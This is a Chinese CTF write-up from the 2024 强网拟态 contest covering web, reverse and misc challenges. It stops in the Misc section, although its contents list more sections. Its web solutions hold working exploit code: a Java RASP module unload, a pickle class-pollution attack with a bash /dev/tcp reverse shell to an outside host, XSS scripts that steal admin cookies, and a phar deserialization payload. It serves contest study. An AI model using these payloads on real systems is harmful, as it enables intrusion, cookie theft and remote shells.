强网拟态 2024 By W&M

·
Write - Up no tag October 20, 2024
  • WEB
    • OnlineRunner
    • ez_pickle
    • Spreader
    • capoo
  • REVERSE
    • Serv1ce
    • A_game
    • babyre
  • Misc
    • ezflag
    • Find way to read video
    • Pvz
    • Streaming
    • Input Page Walk
  • PWN
    • signin
    • signin_revenge
    • QWEN
    • ezcode
    • gruess_book
  • Crypto
    • xor

WEB

OnlineRunner

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package ezSandbox.controller;

import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.StringWriter;
import java.net.URI;
import java.nio.charset.Charset;
import java.util.Collections;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
import javax.tools.DiagnosticListener;
import javax.tools.FileObject;
import javax.tools.ForwardingJavaFileManager;
import javax.tools.JavaCompiler;
import javax.tools.JavaFileManager;
import javax.tools.JavaFileObject;
import javax.tools.SimpleJavaFileObject;
import javax.tools.ToolProvider;
import javax.tools.JavaFileObject.Kind;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class MainController {
    public MainController() {
    }

    @GetMapping({"/"})
    public String index() {
        return "redirect:/index.html";
    }

    @PostMapping({"/execute"})
    @ResponseBody
    public String executeCode(@RequestBody String code) {
        return this.runJavaCode(code);
    }

    private String runJavaCode(String code) {
        String className = "Main";
        String fullCode = "public class " + className + " { public static void main(String[] args) { " + code + " } }";

        try {
            JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
            JavaFileObject file = new InMemoryJavaFileObject(className, fullCode);
            Iterable<? extends JavaFileObject> compilationUnits = Collections.singletonList(file);
            StringWriter output = new StringWriter();
            InMemoryJavaFileManager fileManager = new InMemoryJavaFileManager(compiler.getStandardFileManager((DiagnosticListener)null, (Locale)null, (Charset)null));
            boolean compiled = compiler.getTask(output, fileManager, (DiagnosticListener)null, (Iterable)null, (Iterable)null, compilationUnits).call();
            if (!compiled) {
                return "Compilation failed:\n" + output.toString();
            } else {
                InMemoryClassLoader classLoader = new InMemoryClassLoader(fileManager.getClassBytes());
                Class<?> cls = classLoader.loadClass(className);
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                PrintStream ps = new PrintStream(baos);
                PrintStream old = System.out;
                System.setOut(ps);
                cls.getMethod("main", String[].class).invoke((Object)null, new String[0]);
                System.out.flush();
                System.setOut(old);
                return baos.toString();
            }
        } catch (Exception var15) {
            Exception e = var15;
            return "Execution failed:\n" + e.getMessage();
        }
    }

    static class InMemoryJavaFileObject extends SimpleJavaFileObject {
        private final String code;

        protected InMemoryJavaFileObject(String name, String code) {
            super(URI.create("string:///" + name + Kind.SOURCE.extension), Kind.SOURCE);
            this.code = code;
        }

        public CharSequence getCharContent(boolean ignoreEncodingErrors) {
            return this.code;
        }
    }

    static class InMemoryJavaFileManager extends ForwardingJavaFileManager<JavaFileManager> {
        private final Map<String, ByteArrayOutputStream> classBytes = new HashMap();

        protected InMemoryJavaFileManager(JavaFileManager fileManager) {
            super(fileManager);
        }

        public JavaFileObject getJavaFileForOutput(JavaFileManager.Location location, String className, JavaFileObject.Kind kind, FileObject sibling) {
            final ByteArrayOutputStream baos = new ByteArrayOutputStream();
            this.classBytes.put(className, baos);
            return new SimpleJavaFileObject(URI.create("string:///" + className + kind.extension), kind) {
                public OutputStream openOutputStream() {
                    return baos;
                }
            };
        }

        public Map<String, byte[]> getClassBytes() {
            Map<String, byte[]> result = new HashMap();
            this.classBytes.forEach((name, baos) -> {
                result.put(name, baos.toByteArray());
            });
            return result;
        }
    }

    static class InMemoryClassLoader extends ClassLoader {
        private final Map<String, byte[]> classBytes;

        public InMemoryClassLoader(Map<String, byte[]> classBytes) {
            this.classBytes = classBytes;
        }

        protected Class<?> findClass(String name) throws ClassNotFoundException {
            byte[] bytes = (byte[])this.classBytes.get(name);
            if (bytes == null) {
                throw new ClassNotFoundException(name);
            } else {
                return this.defineClass(name, bytes, 0, bytes.length);
            }
        }
    }
}

暂时无法在飞书文档外展示此内容

相当于在内存中编译了一套java代码 JDK17的 绕原有防护RCE?

列目录

try {
    java.net.URL url = new java.net.URL("file:///");
    java.io.InputStream inputStream = url.openStream();
    byte[] bytes = new byte[0];
    bytes = new byte[inputStream.available()];
    inputStream.read(bytes);
    System.out.println(new String(bytes));
    System.out.println(java.util.Base64.getEncoder().encodeToString(bytes));
}catch (Exception e){
    System.out.println("error");
}

自己装了个 沙盒

日志位置:/home/ctf/logs/sandbox/sandbox.log

应该是绕这个吧:/home/ctf/sandbox/sandbox-module/jvm-rasp.jar

暂时无法在飞书文档外展示此内容

单单看这个rasp感觉代码量不多呀。

一个可行的方案如下

探索Java RASP Bypass新姿势

之前其实看到过,但是没有复现,这个rasp都是仿照这篇文章作者写的,感觉还是可以看看。

写入文件没看见有限制,只Hook了Files的read方法,对我们写入不影响。并且Rasp没有Hook UnixSocket

因此仿照上述操作应该就可以出了。开个环境先。

http://web-5142b26554.challenge.xctf.org.cn/index.html

https://github.com/alibaba/jvm-sandbox/wiki/USER-INSTALL-and-CONFIG

img

加载rasp会有一个随机的端口作为client control的http

读logs拿到localhost:xxxx的端口

try {
            java.net.URL url = new java.net.URL("file:///home/ctf/logs/sandbox/sandbox.log");
            java.io.InputStream inputStream = url.openStream();
            byte[] bytes = new byte[0];
            bytes = new byte[inputStream.available()];
            inputStream.read(bytes);
            System.out.println(new String(bytes));
            System.out.println(java.util.Base64.getEncoder().encodeToString(bytes));
        }catch (Exception e){
            System.out.println("error");
        }

卸载rce模块

    java.net.URL url = null;
        try {
            url = new java.net.URL("http://127.0.0.1:44445/sandbox/default/module/http/sandbox-module-mgr/unload?1=1&action=unload&ids=rasp-rce-native-hook");
            java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();
            connection.setRequestMethod("GET");
            connection.setUseCaches(false);
            connection.setConnectTimeout(5000); // 5 seconds
            int responseCode = connection.getResponseCode();
            java.lang.System.out.println("Response Code : " + responseCode);
            if (responseCode == java.net.HttpURLConnection.HTTP_OK) {
                java.io.InputStream inputStream = connection.getInputStream();
                java.io.InputStreamReader inputStreamReader = new java.io.InputStreamReader(inputStream);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(inputStreamReader);

                java.lang.String output;
                java.lang.StringBuffer response = new java.lang.StringBuffer();
                while ((output = bufferedReader.readLine()) != null) {
                    response.append(output);
                }
                bufferedReader.close();
                inputStreamReader.close();
                inputStream.close();
                connection.disconnect();
                java.lang.System.out.println("Response Body: " + response.toString());
            } else {
                java.lang.System.out.println("Request failed!");
            }
        } catch (java.net.MalformedURLException e) {
            e.printStackTrace();
        } catch (java.io.IOException e) {
            e.printStackTrace();
        }

img

ez_pickle

from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []

safe_modules = {
    'math',
    'datetime',
    'json',
    'collections',
}

safe_names = {
    'sqrt', 'pow', 'sin', 'cos', 'tan',
    'date', 'datetime', 'timedelta', 'timezone', 
    'loads', 'dumps',  
    'namedtuple', 'deque', 'Counter', 'defaultdict'
}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in safe_modules and name in safe_names:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
    def __init__(self,username,password):
        self.username=username
        self.password=password


def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def token_required(func):
    async def wrapper(request, *args, **kwargs):
        token = request.cookies.get("token")  
        if not token:
            return redirect('/login')
        try:
            result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
        except jwt.ExpiredSignatureError:
            return json({"status": "fail", "message": "Token expired"}, status=401)
        except jwt.InvalidTokenError:
            return json({"status": "fail", "message": "Invalid token"}, status=401)
        print(result)
        if result["role"]!="admin":
            return json({"status": "fail", "message": "Permission Denied"}, status=401)
        return await func(request, *args, **kwargs)
    return wrapper

@app.route('/', methods=["GET"])
def file_reader(request):
    file = "app.py"
    with open(file, 'r') as f:
        content = f.read()
    return text(content)

@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
    if request.method=="GET":
        return await file_('templates/upload.html')
    if not request.files:
        return text("No file provided", status=400)

    file = request.files.get('file')
    file_object = file[0] if isinstance(file, list) else file
    try:
        new_data = restricted_loads(file_object.body)
        try:
            my_object.update(new_data)
        except:
            return json({"status": "success", "message": "Pickle object loaded but not updated"})
        with open(pickle_file, "wb") as f:
            pickle.dump(my_object, f)

        return json({"status": "success", "message": "Pickle object updated"})
    except pickle.UnpicklingError:
        return text("Dangerous pickle file", status=400)

@app.route('/register', methods=['GET','POST'])
async def register(request):
    if request.method=='GET':
        return await file_('templates/register.html')
    if request.json:
        NewUser=User("username","password")
        merge(request.json, NewUser)
        users.append(NewUser)
    else:
        return json({"status": "fail", "message": "Invalid request"}, status=400)
    return json({"status": "success", "message": "Register Success!","redirect": "/login"})

@app.route('/login', methods=['GET','POST'])
async def login(request):
    if request.method=='GET':
        return await file_('templates/login.html')
    if request.json:
        username = request.json.get("username")
        password = request.json.get("password")
        if not username or not password:
            return json({"status": "fail", "message": "Username or password missing"}, status=400)
        user = next((u for u in users if u.username == username), None)
        if user:
            if user.password == password:
                data={"user":username,"role":"guest"}
                data['exp'] = int(time.time()) + 60 *5
                token = jwt.encode(data, str(secret_key), algorithm='HS256')
                response = json({"status": "success", "redirect": "/upload"})
                response.cookies["token"]=token
                response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
                return response
            else:
                return json({"status": "fail", "message": "Invalid password"}, status=400)
        else:
            return json({"status": "fail", "message": "User not found"}, status=404)
    return json({"status": "fail", "message": "Invalid request"}, status=400)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

原型链污染:

c.py

from builtins import eval

eval("""__import__("os").system("bash -c 'bash -i >& /dev/tcp/1.1.1.1/8888 0>&1'")""")
import time
from typing import Any

import jwt
import pickora.compiler
import httpx

compiler = pickora.compiler.Compiler()

with open("c.py", "r") as f:
    code = compiler.compile(f.read(), "c.py")

n = {
    "__init__": {
        "__globals__": {
            "secret_key": "123",
            "safe_modules": ["builtins"],
            "safe_names": ["getattr", "eval"],
        }
    }
}

c = httpx.Client(base_url="http://web-a3417eafa3.challenge.xctf.org.cn/")

r = c.post("/register", json=n)

data: dict[str, Any] = {"user": "admin", "role": "admin"}
data["exp"] = int(time.time()) + 60 * 5
token = jwt.encode(data, "123", algorithm="HS256")

print(token)

c.cookies.set("token", token)

res = c.post("/upload", files={
    "file": ("exp.py", code)
})

print(res.text)

Spreader

下面XSS

<script>window['alert'](1)</script
>

用 privileged 的身份做代理交一遍,这样admin就能看到了,然后存/store

但是这样比较麻烦,他的cookie没有httponly,所以可以直接偷cookie:

from time import sleep
import requests

TARGET='http://web-9004390031.challenge.xctf.org.cn'

COOKIE=''

def register(username, password):
    r= requests.post(TARGET+'/register',data={'username':username,'password':password,'role':'plain'},headers={'Content-Type':'application/x-www-form-urlencoded'},allow_redirects=False)
    return r.text

def login(username, password):
    r= requests.post(TARGET+'/login',data={'username':username,'password':password},headers={'Content-Type':'application/x-www-form-urlencoded'},allow_redirects=False)
    cookie = r.headers['Set-Cookie']
    return cookie.split(';')[0]

def post_data(data):
    r= requests.post(TARGET+'/post',data={'content':data},headers={'Cookie':COOKIE,'Content-Type':'application/x-www-form-urlencoded'})
    return r.text

def post_store(s):
    r= requests.post(TARGET+'/store',data={'content':s},headers={'Cookie':COOKIE,'Content-Type':'application/x-www-form-urlencoded'})
    return r.text

def get_store(key):
    r= requests.get(TARGET+'/store',headers={'Cookie':COOKIE})
    data = r.json()[::-1]
    for d in data:
        if key in d:
            return d[key]
    return None

def report_privileged():
    r= requests.get(TARGET+'/report_privileged',headers={'Cookie':COOKIE})
    return r.text

def report_admin():
    r= requests.get(TARGET+'/report_admin',headers={'Cookie':COOKIE})
    return r.text

def get_flag():
    r= requests.get(TARGET+'/flag',headers={'Cookie':COOKIE})
    return r.text

def post_leak_cookie(key):
    post_data('''<script>fetch('/store',{body:"'''+key[:1]+'"+`'+key[1:]+'''=`+encodeURIComponent(document.cookie),method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}})</script
    >''')

register('abc', '1')
COOKIE=login('abc', '1')
print('Plain Cookie:',COOKIE)

post_leak_cookie('privileged_cookie')
print(report_privileged())
sleep(1)
COOKIE=get_store('privileged_cookie')
print('Privileged Cookie:',COOKIE)
post_leak_cookie('admin_cookie')
print(report_admin())
sleep(1)
COOKIE=get_store('admin_cookie')
print('Admin Cookie:',COOKIE)
FLAG=get_flag()
print(FLAG)

附一个不泄露cookie直接泄露flag的打法,但是因为这题的bot打开页面之后立即关闭了,基本没时间去执行两次fetch(第一个fetch发出后页面就关闭了),多report几次admin就好了

from time import sleep
import requests
from urllib.parse import quote
from base64 import b64encode

TARGET='http://web-9004390031.challenge.xctf.org.cn'

COOKIE=''

def register(username, password):
    r= requests.post(TARGET+'/register',data={'username':username,'password':password,'role':'plain'},headers={'Content-Type':'application/x-www-form-urlencoded'},allow_redirects=False)
    return r.text

def login(username, password):
    r= requests.post(TARGET+'/login',data={'username':username,'password':password},headers={'Content-Type':'application/x-www-form-urlencoded'},allow_redirects=False)
    cookie = r.headers['Set-Cookie']
    return cookie.split(';')[0]

def wrap_script(c):
    return f'<script>{c}</script\n>'

def post_data(data):
    r= requests.post(TARGET+'/post',data={'content':data},headers={'Cookie':COOKIE,'Content-Type':'application/x-www-form-urlencoded'})
    return r.text

def set_store(key, value):
    r= requests.post(TARGET+'/store',data={key:value},headers={'Cookie':COOKIE,'Content-Type':'application/x-www-form-urlencoded'})
    return r.text

def get_store(key):
    r= requests.get(TARGET+'/store',headers={'Cookie':COOKIE})
    data = r.json()[::-1]
    for d in data:
        if key in d:
            return d[key]
    return None

def report_privileged():
    r= requests.get(TARGET+'/report_privileged',headers={'Cookie':COOKIE})
    return r.text

def report_admin():
    r= requests.get(TARGET+'/report_admin',headers={'Cookie':COOKIE})
    return r.text

ADMIN_PAYLOAD='''
fetch('/flag').then(x=>x.text()).then(m=>{fetch('/store',{body:'final_f'+'lag='+encodeURIComponent(m),method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}})})
'''.strip()

PRIVILEGE_PAYLOAD='''
fetch('/post',{body:'con'+`tent=`+atob(`'''+b64encode(quote(wrap_script(ADMIN_PAYLOAD)).encode()).decode()+'''`),method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}})
'''.strip()

register('abc', '1')
COOKIE=login('abc', '1')
print('Plain Cookie:',COOKIE)

post_data(wrap_script(PRIVILEGE_PAYLOAD))
print('Trigger privileged')
print(report_privileged())
sleep(1)
print('Trigger admin')
print(report_admin())
sleep(1)
FLAG=get_store('final_flag')
print(FLAG)

capoo

<?php
class CapooObj {
    public function __wakeup()
    {
        $action = $this->action;
        $action = str_replace("\"", "", $action);
        $action = str_replace("\'", "", $action);
        $banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\        |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
        if(preg_match($banlist, $action)){
                die("Not Allowed!");
        }
        system($this->action);
    }
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
    $file = $_POST['capoo'];

    if (file_exists($file)) {
        $data = file_get_contents($file);
        $base64 = base64_encode($data);
    } else if (substr($file, 0, strlen("http://")) === "http://") {
        $data = file_get_contents($_POST['capoo'] . "/capoo.gif");
        if (strpos($data, "PILER") !== false) {
                die("Capoo piler not allowed!");
        }
        file_put_contents("capoo_img/capoo.gif", $data);
        die("Download Capoo OK");
    } else {
        die('Capoo does not exist.');
    }
} else {
    die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
  <head>
    <title>Display Capoo</title>
  </head>
  <body>
    <img style='display:block; width:100px;height:100px;' id='base64image'
       src='data:image/gif;base64, <?php echo $base64;?>' />
  </body>
</html>

打phar反序列化就行。

<?php
class CapooObj {
    public function __construct($action){
        $this->action=$action;
}
}

$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub("GIF89a" . "< language='php'>__HALT_COMPILER();</>");
$phar->setMetadata(new CapooObj("ca\\t /fla\\g-33ac806f"));
$phar->stopBuffering();
echo bin2hex(file_get_contents(("test.phar")));

php 1.php ;gzip test.phar ;mv test.phar.gz capoo.gif

capoo=phar://capoo_img/capoo.gif

REVERSE

Serv1ce

安卓服务

主逻辑native层就一个函数生成密钥 就是异或

java层有个生成密钥的算法也很简单

爆破求解

import base64
from Crypto.Cipher import ARC4


def dec(s):
    rc = base64.b64decode(s)
    rc4 = ARC4.new(b'k3ykeyk3ykey')
    rc1 = rc4.decrypt(rc)
    print(rc1)


end = [0xB9, 0x32, 0xC2, 0xD4, 0x69, 0xD5, 0xCA, 0xFB, 0xF8, 0xFB, 0x80, 0x7C, 0xD4, 0xE5, 0x93, 0xD5, 0x1C, 0x8B, 0xF8,
       0xDF, 0xDA, 0xA1, 0x11, 0xF8, 0xA1, 0x93, 0x93, 0xC2, 0x7C, 0x8B, 0x1C, 0x66, 0x01, 0x3D, 0xA3, 0x67]
key = "1liIl11lIllIIl11llII"
keyarray = bytearray(64)
for i3 in range(64):
    keyarray[i3] = ((ord(key[i3 % len(key)]) - ord('w')) ^ 23) & 255

f = b''
print(keyarray)
for no in range(len(end)):
    for i in range(127):
        if (11 * (i ^ keyarray[no])) & 0xff == end[no]:
            print(chr(i), end='')

A_game

魔改小游戏

源码在这https://github.com/NJU-TJL/PacManX

对着源码发现程序退出的操作里多了一个函数sub_14001FA60

函数主要是从注册表里取值 表项调试都可以获得

在本机注册表加上对应的键值之后就能获得解密数据 是一个ps1脚本

ps1脚本混淆了 有一些字节替换的操作 一步一步输出出来就能获取解混淆的脚本

function enenenenene {
    param(
        $plaintextBytes,
        $keyBytes
    )
    # Initialize S and KSA
    $S = 0..255
    $j = 0
    for ($i = 0; $i -lt 256; $i++) {
        $j = ($j + $S[$i] + $keyBytes[$i % $keyBytes.Length]) % 256
        $temp = $S[$i]
        $S[$i] = $S[$j]
        $S[$j] = $temp
    }

    # PRGA and encryption
    $i = 0
    $j = 0
    $ciphertextBytes = @()
    for ($k = 0; $k -lt $plaintextBytes.Length; $k++) {
        $i = ($i + 1) % 256
        $j = ($j + $S[$i]) % 256
 $temp = $S[$i]
        $S[$i] = $S[$j]
        $S[$j] = $temp
        $t = ($S[$i] + $S[$j]) % 256
        $ciphertextBytes += ($plaintextBytes[$k] -bxor $S[$t])
    }

    # Return ciphertext as a string
    return $ciphertextBytes
}
function enenenenene1 {
    param(
        $inputbyte
    )
    $key = @(0x70, 0x6f, 0x77, 0x65, 0x72)
    $encryptedText = @();
    for ($k = 0; $k -lt $inputbyte.Length; $k++) {
        $encryptedText = enenenenene -plaintextBytes $inputbyte -keyBytes $key;
        $key = enenenenene -plaintextBytes $key -keyBytes $encryptedText;
    }
    return $encryptedText + $key;
}
function enenenenene2 {
    param(
        $inputbyte
    )
    $key = @(0x70, 0x30, 0x77, 0x65, 0x72)
    for ($k = 0; $k -lt $inputbyte.Length; $k++) {
        $inputbyte[$k] = $inputbyte[$k] + $key[$k % $key.Length]
    }
    return $inputbyte;
}
function enenenenene3 {
    param(
    )
    $key = @(0x70, 0x30, 0x77, 0x33, 0x72)
    for ($k = 0; $k -lt $inputbyte.Length; $k++) {
        $inputbyte[$k] = $inputbyte[$k] * $key[$k % $key.Length]
    }
    return $inputbyte;
}
$valueName = 'MYFLAG'
$value = Get-ItemPropertyValue $registryPath $valueName
$plaintext = @($value) | ForEach-Object {
    $input = $_
    $plaintext = @()
    for ($i = 0; $i -lt $input.Length; $i++) {
        $plaintext += [int][char]$input[$i]
    }
    $plaintext
}
if ($plaintext.Length -ne 36) {
    Set-Content -Path "log.txt" -Value "ERROR"
    exit
}
$encrypted1Text = enENenenene2 -inputbyte (enenenENene2 -inputbyte (enenenenene3 -inputbyte (Enenenenene2 -inputbyte (enenenenene2 -inputbyte (enenenenene2 -inputbyte (enenenenene1 -input $plaintext))))))
$result = @(38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616)
for ($k = 0; $k -lt $result.Length; $k++) {
    if ($encrypted1Text[$k] -ne $result[$k]) {
        Set-Content -Path "log.txt" -Value "ERROR"
 exit

}
Set-Content -Path "log.txt" -Value "RIGHT"

就是简单的rc4和数值运算

from Crypto.Cipher import ARC4
def dec1(s):
    enc = s[:-5]
    key = s[-5:]
    rc4 = ARC4.new(enc)
    key = rc4.decrypt(key)
    rc4 = ARC4.new(key)
    enc = rc4.decrypt(enc)
    return enc

def dec2(s):
    key = [0x70, 0x30, 0x77, 0x65, 0x72]
    for i in range(len(s)):
        s[i] = s[i] - key[i % len(key)]
    return s


def dec3(s):
    key = [0x70, 0x30, 0x77, 0x33, 0x72]
    for i in range(len(s)):
        assert s[i] % key[i % len(key)] == 0
        s[i] = s[i] // key[i % len(key)]
    return s


end = [38304, 8928, 43673, 25957, 67260, 47152, 16656, 62832, 19480, 66690, 40432, 15072, 63427, 28558, 54606, 47712,
       18240, 68187, 18256, 63954, 48384, 14784, 60690, 21724, 53238, 64176, 9888, 54859, 23050, 58368, 46032, 15648,
       64260, 17899, 52782, 51968, 12336, 69377, 27844, 43206, 63616]

tmp = dec2(end)
tmp = dec2(tmp)
tmp = dec3(tmp)
tmp = dec2(tmp)
tmp = dec2(tmp)
tmp = dec2(tmp)
tmp = dec1(bytes(tmp))
print(tmp)

babyre

主要逻辑是一个AES-128 生成的16个字节变成二进制 然后追加index 一组就是16个字节

|八个字节内容|index|

比如第一个字节是0x1d 那么就是

0001 1101 0000

第二个字节是0x28 那么就是

0010 1000 0001

依次类推

对比函数是一个数学表达式 因为每一组只有八个字节变动 完全可以爆破

#include <iostream>
using namespace std;
int main()
{
    int v1, v2, v3;
    int v5[12], v6[12];
    int no;
    for (int k = 0; k < 16; k++)
    {
        no = k;
        for (int j = 8; j < 12; j++)
        {
            v6[19 - j] = no & 1;
            no >>= 1;
        }

        for (int i = 0; i <= 255; i++)
        {
            int tmp = i;
            for (int j = 0; j < 8; j++)
            {
                v6[j] = tmp & 1;
                tmp >>= 1;
            }
            for (int j = 0; j < 12; j++)
                v5[j] = v6[11 - j];

            v1 = v5[2] & v5[3] & v5[4] & (v5[6] == 0) & (v5[7] == 0) & v5[8] & ((v5[9] | v5[10] | v5[11]) == 0) & (v5[5] == 0) & (v5[1] == 0) | v5[2] & v5[4] & v5[6] & (v5[8] == 0) & (v5[9] == 0) & v5[11] & (v5[10] == 0) & (v5[7] == 0) & (v5[5] == 0) & (v5[3] == 0) & (v5[1] == 0) | v5[1] & (v5[3] == 0) & (v5[4] == 0) & (v5[5] == 0) & v5[6] & v5[7] & (unsigned __int8)(v5[9] & v5[10] & (v5[11])) & (v5[8] == 0) & (v5[2] == 0);
            v2 = v5[0] & v5[1] & v5[3] & v5[4] & v5[5] & v5[6] & v5[7] & (v5[9] == 0) & (unsigned __int8)(v5[10] & (v5[11])) & (v5[8] == 0) & (v5[2] == 0) | (v5[1] == 0) & (v5[2] == 0) & v5[3] & v5[4] & v5[5] & v5[7] & v5[8] & v5[10] & (v5[11] == 0) & (v5[9] == 0) & (v5[6] == 0) & (v5[0] == 0) | v5[0] & (v5[2] == 0) & v5[3] & v5[5] & v5[7] & v5[8] & v5[9] & v5[11] & (v5[10] == 0) & (v5[6] == 0) & (v5[4] == 0) & (v5[1] == 0) | v5[0] & v5[2] & v5[3] & v5[5] & v5[6] & v5[8] & v5[9] & (v5[10] == 0i64) & (v5[7] == 0) & (v5[4] == 0) & (v5[1] == 0) | (v1 | v5[1] & v5[2] & (v5[4] == 0) & v5[5] & (v5[7] == 0) & v5[8] & v5[9] & v5[11] & (v5[10] == 0) & (v5[6] == 0) & (v5[3] == 0)) & (v5[0] == 0);
            v3 = v5[0] & v5[1] & (v5[3] == 0) & (v5[4] == 0) & v5[5] & (v5[7] == 0) & (v5[8] == 0) & (v5[9] == 0) & (unsigned __int8)(v5[10] & (v5[11])) & (v5[6] == 0) & (v5[2] == 0) | (v5[1] == 0) & (v5[2] == 0) & (v5[3] == 0) & (v5[4] == 0) & v5[5] & (v5[7] == 0) & v5[8] & ((v5[9] | v5[10] | v5[11]) == 0) & (v5[6] == 0) & (v5[0] == 0) | v5[0] & v5[1] & v5[2] & (v5[4] == 0) & (v5[5] == 0) & v5[6] & v5[7] & (v5[9] == 0) & v5[10] & (v5[11] == 0) & (v5[8] == 0) & (v5[3] == 0) | v5[0] & v5[2] & (v5[4] == 0) & (v5[5] == 0) & v5[6] & ((v5[7] | v5[8] | v5[9] | v5[10] | v5[11]) == 0) & (v5[3] == 0) & (v5[1] == 0) | v5[0] & (v5[2] == 0) & (v5[3] == 0) & v5[4] & v5[5] & v5[6] & v5[7] & (v5[9] == 0) & v5[11] & (v5[10] == 0) & (v5[8] == 0) & (v5[1] == 0) | v2;
            if (!(v5[1] & v5[3] & v5[5] & v5[7] & (v5[9] == 0) & v5[10] & (v5[11] == 0) & (v5[8] == 0) & (v5[6] == 0) & (v5[4] == 0) & (v5[2] == 0) & (v5[0] == 0) | v5[0] & v5[1] & v5[2] & v5[3] & (v5[5] == 0) & (v5[6] == 0) & v5[7] & (v5[9] == 0) & v5[10] & (v5[11] == 0) & (v5[8] == 0) & (v5[4] == 0) | v3 | v5[1] & v5[2] & v5[3] & v5[5] & v5[7] & ((v5[8] | v5[9] | v5[10] | v5[11]) == 0) & (v5[6] == 0) & (v5[4] == 0) & (v5[0] == 0)))
                continue;
            printf("%d:0b", k);
            //printf("0b", k);
            for (int j = 0; j < 8; j++)
                printf("%d", v6[j]);
            printf("\n");
        }

    }
    return 0;
}

拿到求出的值再用aes解一下就是flag

from Crypto.Cipher import AES
def dec(enc):
    key = bytes([0x35, 0x77, 0x40, 0x2E, 0xCC, 0xA4, 0x4A, 0x3F, 0x9A, 0xB7, 0x21, 0x82, 0xF9, 0xB0, 0x1F, 0x35])
    aes = AES.new(key, mode=AES.MODE_ECB)
    enc = aes.decrypt(bytes(enc))
    return list(enc)
en3 = [0x12, 0x8f, 0xec, 0xc2, 0x85, 0x4, 0xb2, 0x4c, 0x5b, 0xba, 0x4a, 0xcf, 0x11, 0x36, 0xa, 0x48]
rc = dec(en3)
for i in rc:
    print(hex(i), end=',')
# 4d87ef03-77bb-491a-80f5-4620245807c4

Misc

ezflag

签到,提出来解一下hex,然后binwalk,然后有个flag.zip,改成flag.png就行了

Find way to read video

marco1763 has put his email template on a public platform.

国产github搜到 https://gitcode.com/marco1763/email_template/overview

垃圾邮件隐写https://www.spammimic.com/

